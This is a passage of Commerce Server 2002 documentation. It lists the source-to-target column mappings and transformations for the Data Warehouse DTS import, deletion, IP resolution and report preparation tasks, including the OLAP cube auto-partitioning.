Number of hits that were excluded by the crawler exclude criteria.

TotalMatchCrawlerCount

N/A
 Generated

Physical start time of the import.

StartTime

N/A
 Generated

Physical end time of the import.

EndTime
Source columns from the W3C log file Transformation Target columns from the LevelDir table in the Data Warehouse
N/A
 Generated

First 8-bytes of MD4 Hash

URI1Key

N/A
 Generated

First 8-bytes of MD4 Hash

URI2Key

N/A
 Generated

First 8-bytes of MD4 Hash

URI3Key

N/A
 Generated

First 8-bytes of MD4 Hash

URI4Key

N/A
 Generated

First 8-bytes of MD4 Hash

URI5Key

N/A
 Generated

First 8-bytes of MD4 Hash

URI6Key
Source columns from the W3C log file Transformation Target columns from the PathInfo table in the Data Warehouse
N/A
 Generated
FirstTimeStamp

PathKey

PathTypeEnum

N/A
 Generated

This is incremented for each instance of a log import.

TaskID
Source columns from the W3C log file Transformation Target columns from the LogUser table in the Data Warehouse
cs-uri-query (UPM cookieless)
OR
cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
 Generated

The user key is the first 8 bytes of a MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address plus browser agent string.

UserKey

UserDomainName

DateCreated

cs-username
 Copy Column
UserName

N/A
 Generated

If the user has a cookie, this is set to True.

HasCookie

s-ip
 Copy Column
IpAddress

cs-uri-query (UPM cookieless)
OR

cs(cookie)
OR
cs-username
OR
cs-ip + cs(User-Agent)
Generated

The user key is the first 8 bytes of a MD4 hash of whatever is used as the user key. What is used as the user key depends on what is in the log file, it can be the UPM query string (cookieless), UPM cookie, user configured cookie, user name, or client IP address plus browser agent string.

UserID
Source columns from the W3C log file Transformation Target columns from the URI table in the Data Warehouse
cs-uri-stem
 Copy Column
URI

N/A
 Generated

This is the home page URL that was matched during log import.
This is the first specified URL.

URL

cs-uri-stem
 Middle of String

Takes only the first level of the URI, if available.

Level1Dir

cs-uri-stem
 Middle of String

Takes only the second level of the URI (if one exists).

Level2Dir

cs-uri-stem
 Middle of String

Takes only the third level of the URI (if one exists).

Level3Dir

cs-uri-stem
 Middle of String

Takes only the fourth level of the URI (if one exists).

Level4Dir

cs-uri-stem
 Middle of String

Takes only the fifth level of the URI (if one exists).

Level5Dir

cs-uri-stem
 Middle of String

Takes only the sixth level of the URI (if one exists).

Level6Dir

cs-uri-stem
 Copy Column

MD4 Hash

UriKey

See Also

Configuring the Default Web Site Properties for Import

Configuring the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Scripting the Web Server Log Import DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Transaction Data Import DTS Task

The Transaction Data Import DTS task imports site transaction data, such as purchase orders and requisition numbers, into the Data Warehouse. The Transaction Data Import DTS task should be run before creating reports that synchronize transaction data.

Caution

  • When running the Transaction Import DTS task on a Data Warehouse that contains data for multiple Web sites, ensure that classes extended by more than one Web site have uniquely named members if their data types are not the same. If a new member is added to a class in multiple Web sites and the data types of the new members are not the same, a failure might occur or data might be incorrectly converted when the Transaction Import DTS task is run.

The following tables list the columns extracted from the source tables in the Site_commerce database, the transformation made, and the tables to which the data is saved in the Data Warehouse.

Source columns from the OrderGroupAddresses table of the Site_commerce database Transformation Target columns from the OrderGroupAddresses table in the Data Warehouse
address_id
 Copy Column
Address_id

address_line1
 Copy Column
Address_Line1

address_line2
 Copy Column
Address_Line2

address_name
 Copy Column
Address_Name

address_type
 Copy Column
Address_type

City
 Copy Column
City

country_code
 Copy Column
country_code

d_DateCreated
 Copy Column
d_DateCreated

d_DateLastChanged
 Copy Column
d_DateLastChanged

first_name
 Copy Column
First_Name

g_UserIDChangedBy
 Copy Column
g_UserIdChangedBy

Last_name
 Copy Column
Last_Name

OrderGroup_id
 Copy Column
OrderGroup_id

postal_code
 Copy Column
Postal_Code

region_code
 Copy Column
region_code

region_name
 Copy Column
region_name

tel_number
 Copy Column
tel_number

country_name
 Copy Column
country_name
Source columns from the OrderFormHeader table of the Site_commerce database Transformation Target columns from the OrderFormHeader table in the Data Warehouse
billing_currency
 Copy Column
billing_currency

buying_org_name
 Copy Column
buying_org_name

cc_auth_number
 Copy Column
cc_auth_number

CurrencyCode
 Generated

If the column exists in the OrderFormHeader table of the Site_commerce database, the value is copied to the CurrencyCode table in the Data Warehouse, and then the ID for the code is placed in the OrderFormHeader table.
If it does not exist in the Site_commerce database, it is retrieved from the MSCS_Admin database, the value is copied to the CurrencyCode table in the Data Warehouse, and then the ID for the code is placed in the OrderFormHeader table.

Order_CurrencyCodeID

d_DateCreated
 Copy Column
d_DateCreated

d_DateLastChanged
 Copy Column
d_DateLastChanged

g_UserIdChangedBy
 Copy Column
g_UserIDChangedBy

orderform_id
 Copy Column
OrderForm_Id

orderform_number
 Copy Column
OrderForm_number

ordergroup_id
 Copy Column
ordergroup_id

receiver_email_address
 Copy Column
receiver_email_address

receiver_fax_number
 Copy Column
receiver_fax_number

receiver_first_name
 Copy Column
receiver_first_name

receiver_last_name
 Copy Column
receiver_last_name

receiver_tel_number
 Copy Column
receiver_tel_number

saved_cc_expiration
 Copy Column
saved_cc_expiration

saved_cc_number
 Copy Column
saved_cc_number

saved_cy_tax_total
 Copy Column
saved_cy_tax_total

saved_cy_total_total
 Copy Column
saved_cy_total_total

selling_org_name
 Copy Column
selling_org_name

tax_exempt_code
 Copy Column
tax_exempt_code

tax_exempt_id
 Copy Column
tax_exempt_id

total_lineitems
 Copy Column
total_lineitmes

user_email_address
 Copy Column
user_email_addresses

user_fax_number
 Copy Column
user_fax_number

user_first_name
 Copy Column
user_first_name

user_id
 Copy Column
user_id

user_last_name
 Copy Column
user_last_name

user_org_id
 Copy Column
user_org_id

user_org_name
 Copy Column
user_org_name

user_tel_number
 Copy Column
user_tel_number

orderform_date
 Generated

A normalized date value including the hour is written into the date table and an ID is loaded here.

DateID

OrderGroupID
 Copy Column
OrderGroupID

orderform_date
 Copy Column
Order_formdate_unnorm
Source columns from the OrderFormLineItems table of the Site_commerce database Transformation Target columns from the OrderFormLineItems table in the Data Warehouse
cy_lineitem_total
 Copy Column
cy_lineitem_total

cy_unit_price
 Copy Column
cy_unit_price

d_DateCreated
 Copy Column
d_DateCreated

d_DateLastChanged
 Copy Column
d_DateLastChanged

description
 Copy Column
description

g_UserIDChangedBy
 Copy Column
g_UserIDChangedBy

lineitem_id
 Copy Column
lineitem_id

OrderForm_id
 Copy Column
OrderForm_id

OrderGroup_id
 Copy Column
OrderGroup_id

product_catalog_base
 Copy Column
product_catalog_base

product_id
 Copy Column
product_id

product_variant_
identifying_property
 Copy Column
product_identifying_property

quantity
 Copy Column
quantity

tax_exempt
 Copy Column
tax_exempt_code

tax_id
 Copy Column
tax_id

unit_code
 Copy Column
unit_code

N/A
 Generated

Provider-generated six-byte ID that links this record with the OrderformHeader table.

OrderFormHeaderID

N/A
 Generated

Provider-generated 6-byte ID that links this record with the OrderGroupAddresses table.

OrderGroupAddressesID

N/A
 Generated

Provider-generated 6-byte ID.

OrderGroupID

shipping_address_id
 Copy Column
shipping_address_id

shipping_method_name
 Copy Column
shipping_method_name
Source columns from the OrderGroup table of the Site_commerce database Transformation Target columns from the OrderGroup table in the Data Warehouse
alt_currency
 Copy Column
alt_currency

alt_Icid
 Copy Column
alt_Icid

billing_currency
 Copy Column
billing_currency

d_DateCreated
 Copy Column
d_DateCreated

d_DateLastChanged
 Copy Column
d_DateLastChanged

default_currency
 Copy Column
default_currency

default_Icid
 Copy Column
default_Icid

g_UserIDChangedBy
 Copy Column
g_UserIDChgnedBy

order_approval_decision
 Copy Column
order_approval_decision

order_create_date
 Copy Column
order_create_date

order_number
 Copy Column
order_number

order_status_code
 Copy Column
order_status_code

ordergroup_id
 Copy Column
ordergroup_id

previous_order_id
 Copy Column
previous_order_id

saved_cy_oadjust_subtotal
 Copy Column
saved_cy_oadjust_subtotal

saved_cy_total_total
 Copy Column
saved_cy_total

saved_order_name
 Copy Column
saved_order_name

total_lineitems
 Copy Column
total_lineitmes

user_first_name
 Copy Column
user_first_name

user_last_name
 Copy Column
user_last_name

user_first_name and user_last_name
 Concatenation
user_name

user_org_name
 Copy Column
user_org_name

user_id
 Copy Column
RegisteredUserID

See Also

Running the Transaction Data Import DTS Task

Scripting the Transaction Data Import DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Product Catalog Import DTS Task

The Product Catalog Import DTS task imports data from catalogs, such as product names, colors, and sizes, into the Data Warehouse. After it is imported, the product data is used to generate reports that analyze product sales and perform other transaction analysis. This topic lists the transformations made by the Product Catalog Import DTS task on the data when it is imported into the Data Warehouse.

Note

  • The Product Catalog Import DTS task imports only base catalogs. If the IsVirtualCatalog property of the CatalogGlobal site table is set to 0, the catalog is a base catalog.

The following tables list the columns extracted from the source tables in the Site_commerce database, the transformation performed, and the tables in the Data Warehouse to which the data is saved.

Source columns in the CatalogGlobal table of the Site_commerce database Transformation Target columns in the CatalogGlobal table of the Data Warehouse
CatalogID
 Copy Column
CatalogGlobalID

CatalogName
 Copy Column
CatalogName

Currency
 Copy Column
Currency

EndDate
 Copy Column
EndDate

Locale
 Copy Column
Locale

ProductID
 Copy Column
ProductID

ReportingLanguage
 Copy Column
ReportingLanguage

StartDate
 Copy Column
StartDate

VariantID
 Copy Column
VariantID

WeightMeasure
 Copy Column
WeightMeasure

The I_ClassType column in the CatalogName_CatalogProducts table specifies whether a row is a product, variant, product family, or category. The following table lists the values associated with each classification.

Classification Value
Category
 1
ProductVariantClass
 2
ProductClass
 4
ProductFamilyClass
 8

The process of transferring products has two steps. First, the task transfers each product and the category to which the product belongs. Then, it transfers all the product variants and the variant families along with their categories to the Data Warehouse product tables. The Data Warehouse Products table has a multi-value relation with the Category table. Based on the relation, the Data Warehouse provider writes the products to the Products table, the categories to the Category table, and populates the link table.

The Products table in the Data Warehouse does not contain all of the properties associated with a product. Only product properties in the CatalogAttributes table in the Site_Commerce database that have the ExporttoDW property set to 1 are exported.

Source column from the CatalogName_Language View of the Site_commerce database Transformation Target columns from the Products table in the Data Warehouse
CatalogName
 Copy Column
CatalogName

CatalogName and ProductID and VariantID (if available)
 Concatenation
ProductNameCat

cy_list_price
 Copy Column
cy_list_price

PrimaryParentCategory
 Copy Column
PrimaryParentCategory

ProductID
 Copy Column
ProductID

VariantID
 Copy Column
VariantId

N/A
 Generated
Product, Unique
identifier for table.
Source columns from the CatalogName_Language view of the Site_commerce database Transformation Target columns from the Category table in the Data Warehouse
CatalogName
 Copy Column
CatalogName

CatalogName and CategoryName
 Concatenation
CategoryNameCat

CategoryName
 Copy Column
CategoryName
Source columns from the CatalogName_CatalogHierarchy table of the Site_commerce database Transformation Target columns from the CatHierarchy table in the Data Warehouse
CatalogName and
CategoryName for
parent categories
from Catalog_CatalogProducts table If the ParentOID
column is set to –1,
the category is a parent category.
 Concatenation
ParentCategoryCat

child_CatalogName and CategoryName for child categories from CatalogProducts table
If the ParentOID column
is set to the oid of a
parent category, the
category is a child
category.
 Concatenation
ChildCatalogCat

See Also

Running the Product Catalog Data Import DTS Task

Scripting the Product Catalog Import DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Profile Data Import DTS Task

The Profile Data Import DTS task updates the Data Warehouse with user profile information from the Profiles data store. The task also keeps the schema of a user profile in the Profiles data store and any other exported profile synchronized with the Data Warehouse.

The Profile Data Import task also populates the Data Warehouse with Site term information from the Site_Commerce database. This information can be found in the SiteTerm and SiteTermDescription tables of the Data Warehouse.

The following tables list the columns extracted from the source tables in the Site_Commerce database, the transformation made, and the tables to which the data is saved in the Data Warehouse.

Source columns from the Addresses table of the Site_Commerce database Transformation Target columns from the Address table in the Data Warehouse
g_address_id
 Copy Column
Id

u_address_name
 Copy Column
AddressName

i_address_type
 Copy Column
AddressType

u_city
 Copy Column
City

u_country_code
 Copy Column
CountryCode

u_country_name
 Copy Column
CountryName

u_first_name
 Copy Column
FirstName

u_last_name
 Copy Column
LastName

u_postal_code
 Copy Column
PostalCode

u_region_code
 Copy Column
RegionCode

u_region_name
 Copy Column
RegionName

u_tel_extension
 Copy Column
TelephoneExtension

u_tel_number
 Copy Column
TelephoneNumber

d_date_created
 Copy Column
DateCreated
Source columns from the UserObject table of the Site_Commerce database Transformation Target columns from the RegisteredUser table in the Data Warehouse
i_account_status
 Copy Column
AccountStatus

d_date_registered
 Copy Column
DateRegistered

u_email_address
 Copy Column
Email

u_first_name
 Copy Column
FirstName

u_last_name
 Copy Column
LastName

u_logon_name
 Copy Column
logon_name

u_tel_number
 Copy Column
TelephoneNumber

g_user_id
 Copy Column
UserId

i_user_type
 Copy Column
UserType

d_date_created
 Copy Column
DateCreated

d_date_last_changed
 Copy Column
DateLastChanged

See Also

Running the Profile Data Import DTS Task

Scripting the Profile Data Import DTS Task

Workflow for Running DTS Tasks

Importing Cookies

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Campaign Data Import DTS Task

The Campaign Data Import DTS task imports campaign information such as advertisers, campaigns, and campaign data. The Campaign Data Import task should be run before running reports that summarize campaign data.

The following tables list the columns extracted from the source tables in the Site_Commerce database, the transformation made, and the tables to which the data is saved in the Data Warehouse.

Source Columns from the ad_item table of the Site_Commerce database Transformation Target columns from the AdItem table in the Data Warehouse
i_aditem_id
 Copy Column
AdItemID

u_aditem_customer_order_num
 Copy Column
AdItemCustomerOrderNum

i_aditem_days_of_week_mask
 Copy Column
AdItemDaysOfWeekMask

i_aditem_events_scheduled
 Copy Column
AdItemEventsScheduled

i_aditem_tiem_of_day_end
 Copy Column
AdItemTimeOfDayEnd

i_aditem_time_of_day_start
 Copy Column
AdItemTiemOfDayStart

i_aditem_type
 Copy Column
AdItemType

i_aditem_weight
 Copy Column
AdItemWeight

i_campitem_id
 Copy Column
CampaignItemID

i_industry_id
 Copy Column
IndustryCodeID

i_aditem_id
Copy Column
AdItemNum

Source columns from the campaign table of the Site_Commerce database
Transformation
Target columns from the Campaign table in the Data Warehouse

b_camp_active

Copy Column

CampActive

dt_campaign_exported

Copy Column

CampaignExported

dt_campaign_modified

Copy Column

CampaignModified

u_campaign_modified_by

Copy Column

CampaignModifiedBy

dt_camp_archived

Copy Column

CampArchived

dt_camp_end

Copy Column

CampEnd

i_camp_events_sched

Copy Column

CampEventsSched

b_camp_level_goal

Copy Column

CampLevelGoal

u_camp_name

Copy Column

CampName

i_camp_id

Copy Column

CampNum

dt_camp_start

Copy Column

CampStart

u_camp_comments

Copy Column

CustomerComments

i_customer_id

Copy Column

CustomerID

i_event_type_id

Copy Column

EventTypeID

Source columns from the campaign_item table of the Site_Commerce database
Transformation
Target columns from the CampaignItem table in the Data Warehouse

u_campitem_active

Copy Column

Active

dt_campitem_archived

Copy Column

ArchivedDate

i_camp_id

Copy Column

CampItemNum

u_campitem_comments

Copy Column

Comments

dt_campitem_end

Copy Column

EndDate

dt_campitem_exported

Copy Column

ExportedDate

i_campitem_exposure_limit

Copy Column

ExposureLimit

u_campitem_modified_by

Copy Column

ModifiedBy

dt_campitem_modified

Copy Column

ModifiedDate

u_campitem_name

Copy Column

Name

dt_campitem_start

Copy Column

StartDate

i_campitem_id

Copy Column

CampaignID

guid_campitem_type

Copy Column

CampaignItemTypesID

i_creative_id

Copy Column

CreativeID

Source columns from the campaign_item_types table of the Site_Commerce database
Transformation
Target columns from the CampaignItemTypes table in the Data Warehouse

u_campitem_type_name

Copy Column

CampItemTypeName

u_campitem_type_table

Copy Column

CampItemTypeTable

guid_campitem_type

Copy Column

GUIDCampItemType

Source columns from the Creative table of the Site_Commerce database
Transformation
Target columns from the Creative table in the Data Warehouse

i_creative_id

Copy Column

CreativeNum

dt_creative_received

Copy Column

CreativeReceived

i_creative_size_id

Copy Column

CreativeSizeID

i_creative_type_id

Copy Column

CreativeTypeID

i_customer_id

Copy Column

CustomerID

Source columns from the creative_size table of the Site_Commerce database
Transformation
Target columns from the CreativeSize Report table in the Data Warehouse

i_creative_size_id

Copy Column

CreativeSizeNum

i_size_height

Copy Column

SizeHeight

u_size_name

Copy Column

SizeName

u_size_tag

Copy Column

SizeTag

i_size_width

Copy Column

SizeWidth

Source columns from the creative_type table of the Site_Commerce database
Transformation
Target creativetypes from the Report table in the Data Warehouse

u_ct_name

Copy Column

CreativeTypeName

i_creative_type_id

Copy Column

CreativeTypeNum

text_ct_template

Copy Column

CreativeTypeTemplate

Source columns from the creative_type_xref table of the Site_Commerce database
Transformation
Target columns from the CreativeTypeXref table in the Data Warehouse

guid_campitem_type

Copy Column

CampaignItemTypesID

i_creative_type_id

Copy Column

CreativeTypeID

Source columns from the Customer table of the Site_Commerce database
Transformation
Target columns from the Customer table in the Data Warehouse

u_customer_address

Copy Column
Address

dt_customer_archived

Copy Column
Archived

u_customer_comments

Copy Column
Comments

u_customer_contact

Copy Column
Contact

i_customer_id

Copy Column
CustomerNum

i_customer_type

Copy Column
CustomerTypeNum

u_customer_email

Copy Column
Email

dt_customer_exported

Copy Column
Exported

u_customer_fax

Copy Column
Fax

dt_customer_modified

Copy Column
Modified

u_customer_modifiedby

Copy Column
ModifiedBy

u_customer_name

Copy Column
Name

u_customer_password

Copy Column
PassWord

u_customer_phone

Copy Column
Phone

u_customer_url

Copy Column
URL

u_customer_username

Copy Column
UserName

i_industry_id

Copy Column
IndustryCodeID

Source columns from the dm_item table of the Site_Commerce database
Transformation
Target columns from the DmItem table in the Data Warehouse

u_dmitem_attachment

Copy Column

DmItemAttachment

l_dmitem_defformat

Copy Column

DmItemDefformat

u_dmitem_desc

Copy Column

DmItemDesc

u_dmitem_from

Copy Column

DmItemFrom

i_dmitem_id

Copy Column

DmItemNum

b_dmitem_personalized

Copy Column

DmItemPersonalized

u_dmitem_replyto

Copy Column

DmItemReplyTo

u_dmitem_scheduleid

Copy Column

DmItmeScheduleId

u_dmitem_source

Copy Column

DmItemSource

u_dmitem_subj

Copy Column

DmItemSubj

i_dmitem_userflags

Copy Column

DmItemUserFlags

g_dmitem_listid

Copy Column

GUIDDmItemListId

g_dmitem_optout

Copy Column

GUIDDmItemOptout

g_dmitem_testlistid

Copy Column

GUIDDmItemTestListId

i_campitem_id

Copy Column

CampaignItemID

Source columns from the event_type table of the Site_Commerce database
Transformation
Target columns from the EventType table in the Data Warehouse

u_event_description

Copy Column

EventDescription

u_event_name

Copy Column

EventName

i_event_type_id

Copy Column

EventTypeID

Source columns from the industry_code table of the Site_Commerce database
Transformation
Target columns from the IndustryCode table in the Data Warehouse

u_industry_code

Copy Column

IndustryCode

i_industry_id

Copy Column

IndustryNum

Source columns from the order_discount table of the Site_Commerce database
Transformation
Target columns from the OrderDiscount table in the Data Warehouse

i_disc_award_expr

Copy Column

DiscAwardExpr

i_disc_award_max

Copy Column

DiscAwardMax

b_disc_click_required

Copy Column

DiscClickRequired

i_disc_cond_basis

Copy Column

DiscCondBasis

i_disc_cond_expr

Copy Column

DiscCondExpr

mny_disc_cond_min

Copy Column

DiscCondMin

u_disc_description

Copy Column

DiscDescription

b_disc_disjoin_cond_award

Copy Column

DiscDisjointCondAward

b_disc_expressions_used_for_display

Copy Column

DiscExprUsedForDisplay

i_disc_limit

Copy Column

DiscLimit

i_disc_id

Copy Column

DiscNum

i_disc_offer_type

Copy Column

DiscOfferType

mny_disc_offer_value

Copy Column

DiscOfferValue

b_disc_order_level_discount

Copy Column

DiscOrderLevelDiscount

i_disc_qty_cond_min

Copy Column

DiscQtyCondMin

i_disc_rank

Copy Column

DiscRank

u_disc_special_offer_type

Copy Column

DiscSpecialOfferType

i_disc_template

Copy Column

DiscTemplate

i_campitem_id

Copy Column

CampaignItemID

Source columns from the page_group table of the Site_Commerce database
Transformation
Target columns from the PageGroup table in the Data Warehouse

u_pg_description

Copy Column

PgDescription

i_pg_id

Copy Column

PgNum

u_pg_tag

Copy Column

PgTag

Source columns from the page_group_xref table of the Site_Commerce database
Transformation
Target columns from the PageGroupXref table in the Data Warehouse

i_campitem_id

Copy Column

CampaignItemID

i_pg_id

Copy Column

PageGroupID

Source columns from the target table of the Site_Commerce database
Transformation
Target columns from the Target table in the Data Warehouse

i_target_action

Copy Column

TargetAction

i_target_expr_id

Copy Column

TargetExprId

i_target_id

Copy Column

TargetNum

i_targroup_id

Copy Column

TargetGroupID

Source columns from the target_group table of the Site_Commerce database
Transformation
Target columns from the TargetGroup table in the Data Warehouse

u_targroup_name

Copy Column

TargetGroupName

i_targroup_id

Copy Column

TargetGroupNum

Source columns from the target_group_xref table of the Site_Commerce database
Transformation
Target columns from the TargetGroupXref table in the Data Warehouse

i_campitem_id

Copy Column

CampaignItemID

i_targroup_id

Copy Column

TargetGroupID

See Also

Running the Campaign Data Import DTS Task

Scripting the Campaign Data Import DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Data Deletion DTS Task

The Data Deletion DTS task has two ways of deleting data from a Data Warehouse: all data can be deleted or data from particular Web log files can be deleted from the Data Warehouse. Deleting Web log file data can be done at the site level or at the Data Warehouse level. Deleting all data can be done only at the Data Warehouse level.

Web log data can be deleted in two ways: all Web log data can be deleted or only summarized (detail) data can be deleted. The classes, dimensions, and facts deleted by each of these methods are listed in the following sections:

Deleting All Data from Data Warehouse

Deleting Web Log File Data from Data Warehouse

Deleting Web Log File Detail Data from Data Warehouse


Deleting All Data from Data Warehouse

When the "delete all" option is used to delete all data from the Data Warehouse, most tables in the Data Warehouse are deleted. The only tables not deleted from the Data Warehouse are tables that have no associated logical class. The following is a list of tables that remain in the Data Warehouse after deleting all data from the Data Warehouse:

  • Site
  • ServerGroup
  • VirtualServer
  • ServerBinding
  • SiteURL
  • EventType
  • SVQStringName
  • MVQStringName
  • LinkSVQStringName
  • LinkMVQStringName
  • ImportOptions
  • Crawler

For instructions about running the Data Deletion DTS task in Commerce Server Manager to delete all data, see To delete all data in the Data Warehouse.


Deleting Web Log File Data from Data Warehouse

When the "delete all Web log data from Data Warehouse" option is used, class data for the specified Web logs is deleted from the following classes:

  • Basket
  • Order
  • LogImportJobSummary
  • LogImportSubtask
  • OpenUserVisit
  • CampaignEvent
  • Visit
  • Request
  • VisitInfo
  • LastUriByDate
  • RequestByDateByUriByQueryString
  • FirstUriByDate
  • HitsInfo
  • HitsByHour

For instructions about running the Data Deletion DTS task in Commerce Server Manager to delete Web log data, see To delete log file data.


Deleting Web Log File Detail Data from Data Warehouse

When the "delete detail data from Data Warehouse" option is used, all fact data from the specified Web log files is deleted from the Data Warehouse. No dimension data is deleted when deleting only detail data. The following is a list of the fact classes whose data is deleted when this option is used:

  • OpenUserVisit
  • CampaignEvent
  • Visit
  • Request

For instructions about running the Data Deletion DTS task in Commerce Server Manager to delete Web log file detail data, see To delete log file data.

See Also

Running the Data Deletion DTS Task

Scripting the Data Deletion DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Model Builder DTS Task

The Model Builder DTS task allows users to schedule rebuilds of models, ensuring that models will be built even if failovers occur during the build, such as database or Predictor service failures. The Model Builder DTS task should be run after manually configuring the Predictor resource. For more information about manually configuring the Predictor resource, see Configuring the Predictor Resource.

Each time an analysis model is built, it is based on the data currently in the Data Warehouse. It is important to rebuild analysis models when the data in the Data Warehouse changes, such as after new data is imported into the Data Warehouse.

You can use the Model Builder DTS task to rebuild analysis models for a specified site or for all sites associated with a specified Data Warehouse. Multiple models can be built by adding multiple instances of the Predictor DTS task to the package. A single task builds only one model.

See Also

Running the Model Builder DTS Task

Scripting the Model Builder DTS Task

Running the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


ETL Process for the IP Resolution DTS Task

The IP Resolution DTS task resolves Internet Protocol (IP) addresses from imported user data. IP resolution converts IP addresses, imported from your log files, into domain names. For example, 198.105.232.4 becomes www.microsoft.com. This helps readers of your reports to understand the data in the reports more easily.

The IP Resolution task only loads data into the HostNameRef table from rows of the IpRef table that are successfully resolved. If the IpAddress, from the IpRef table, was successfully resolved, the domain name is stored in the Hostname column of the HostNameRef table. If the IP address was not successfully resolved, no data for that row in the IpRef table is loaded into the HostNameRef table. The Status column of the IpRef table is set to 1 if the IP address was resolved, and 0 if the IP address was not resolved. The time of the attempted IP resolution is stored in the LastModifiedTime column of the IpRef table.

The following table lists the columns extracted from the source table, the transformation made, and the column to which the data is saved in the Data Warehouse.

Source columns from the IpRef table in the Data Warehouse Transformation Target columns from the HostNameRef table in the Data Warehouse
IpAddress
 Generated

If possible, the IP address is resolved and the resolved domain name is loaded. If not resolved, no data is loaded to the HostNameRef table.

Hostname

Status
 Generated

Set to 1 if resolved; set to 0 if unresolved.

No data loaded.

LastModifiedTime
 Generated

Time of attempted IP resolution.

No data loaded.

See Also

Running the IP Resolution DTS Task

Scripting the IP Resolution DTS Task

Workflow for Running DTS Tasks

Extending the Data Warehouse

Data Warehouse Schema


ETL Process for the Report Preparation DTS Task

The Report preparation DTS task is responsible for processing data after it has been imported into the Data Warehouse. The task is composed of four distinct processing phases: processing stored procedures, defining cube partitions, processing OLAP dimensions, and processing physical cube partitions and virtual cubes.

The DTS task can be run in three processing modes: Full, Refresh Data, and Incremental. In all cases, the DTS task performs the following steps:

  • Execute each procedure listed in the StoredProcInfo table that has the ProcessingEnabled column set to 1.
  • Process each dimension listed in the DimProcInfo table that has the ProcessingEnabled column set to 1.
  • Process each partition listed in the CubePartitionInfo for any cube listed in the CubeProcInfo table that has ProcessingEnabled set to 1.

This section contains:

  • Processing Stored Procedures
  • Defining OLAP Cube Partitions
  • Auto-Partitioning
  • Changing Existing Partitions
  • Partitioning Keys
  • Data Warehouse Cube Tables
  • Processing OLAP Dimensions
  • Processing Physical Cube Partitions
  • Restart Logic for the Report Preparation Task
  • Tracing the Report Preparation Task


Processing Stored Procedures

The stored procedure phase of the Report preparation task queries the StoredProcInfo table and executes all stored procedures with ProcessingEnabled set to 1 in this table, in order of ordinal.

After completing these steps, the stored procedure phase of the Report preparation task is complete.

For more information about the StoredProcInfo table, see StoredProcInfo Table.


Defining OLAP Cube Partitions

After the stored procedures have been processed, cube partitions must be defined. Cubes can be configured to be automatically partitioned by the Report preparation task as described below, or manually partitioned by a system administrator. This functionality is designed to meet the needs of sites with large-scale data warehousing requirements, while minimizing the amount of systems management overhead necessary to manage the partitioned data.

All cubes that ship with Commerce Server 2002 are enabled for automatic partitioning. This means that each time the Report preparation task runs, it will examine the data in the fact table and, if necessary, create cube partitions to hold the data.

Automatic partitioning requires that the fact table conform to certain rules. If a user adds new nonconforming cubes, automatic partitioning can be disabled on a cube-by-cube basis and the cube can be processed manually by adding entries in the CubePartitionInfo table.

Multiple OLAP partitions

To automatically create and process multiple OLAP partitions, you must use Commerce Server 2002 Enterprise Edition and Analysis Services 2000 Enterprise Edition. Multiple OLAP partitions are only supported by Analysis Services Enterprise Edition, and creating and processing multiple OLAP partitions is supported by Commerce Server 2002 Enterprise Edition.

In Commerce Server 2002 Enterprise Edition, the Report preparation task by default creates a partition with an OLAP cube for every 20 million key column values in the cube’s fact table. This value is intended to minimize the number of partitions on large-scale sites, while ensuring that those cubes can be efficiently processed and queried.

Single OLAP partitions

Commerce Server 2002 Standard Edition supports automatically creating and processing a single partition per cube. If you are using Commerce Server 2002 Standard Edition, and you are creating a new cube to be processed automatically by the Report preparation DTS task, set the partition size to cover all possible partitioning key values.

In Commerce Server 2002 Standard Edition, the cube definition in the CubeProcInfo table by default defines a single partition that covers approximately 17 trillion key values in the cube’s fact table.

csdw_spDefineOLAPPartitions stored procedure

As part of the stored procedure phase, the Report preparation task runs the stored procedure csdw_spDefineOLAPPartitions. This stored procedure is the core of the auto-partitioning support and is responsible for examining the various fact tables and determining if new partitions are needed to hold data that might have been added since the last processing run.

The stored procedure phase includes the following steps:

  • If new partitions are needed, the stored procedure adds partitions to the CubePartitionInfo table that will hold the new data.
  • The Report preparation task then runs the csdw_spEnumOLAPPartitions stored procedure, which returns a list of all the cube partitions that should be applied to the cubes before processing.
  • These partitions are then applied to the OLAP database and processed in subsequent phases of the Report preparation task.
  • If partition filtering is changed, the cube will be truncated and all data for all partitions will be refreshed.

See Also

Auto-Partitioning

Changing Existing Partitions

Partitioning Keys

Data Warehouse Cube Tables


Auto-Partitioning

All cubes shipped with Commerce Server 2002 are enabled for auto-partitioning. When the Report preparation task is run, it analyses the fact table data for the cubes using information present in the CubeProcInfo table. If rows exist in the PartitioningKeySource tables that have PartitioningKey values greater than those covered by existing partitions, new partitions will be added as needed to hold the new data. By default, new partitions cover a range of 20 million key values. This value can be adjusted by modifying the PartitionSize value for the cube in the CubeProcInfo table. Note that changing the PartitionSize does not affect existing partitions. It only affects the size of partitions that are subsequently created.


Changing Existing Partitions

Auto-partitioning is accomplished in two phases. In the first, the Report preparation task runs the csdw_spDefineOLAPPartitions stored procedure to create new partition definitions within the CubePartitionInfo table. In the second, the Report preparation task enumerates the defined partitions by using the csdw_spEnumOLAPPartitions stored procedure and performs the necessary actions to cause the OLAP database to conform to this partitioning schema.

The simplest method for changing the partitioning schema for a cube is to delete the entries for that cube from the CubePartitionInfo table and let the Report preparation task redefine them the next time it is run. New partition definitions will be created spanning all PartitioningKey values in the PartitioningKeySource table with each partition spanning a range of PartitionSize values.

It is also possible to manually define partitions by inserting rows directly into the CubePartitionInfo table. Note that the MinVal and MaxVal must match the data type of the partitioning key and that LastKeyProcessed must match the data type of the processing key.

There are a variety of reasons for repartitioning. One reason for repartitioning is if you delete a large amount of data from the Data Warehouse, causing some of the partitions to be empty.

Note that if you make changes to a partition such that data should be reloaded for the partition, you should either run the Report preparation DTS task in Full or Refresh modes, or change the value in CubeProcInfo.LastKeyProcessed for the partition to NULL.


Partitioning Keys

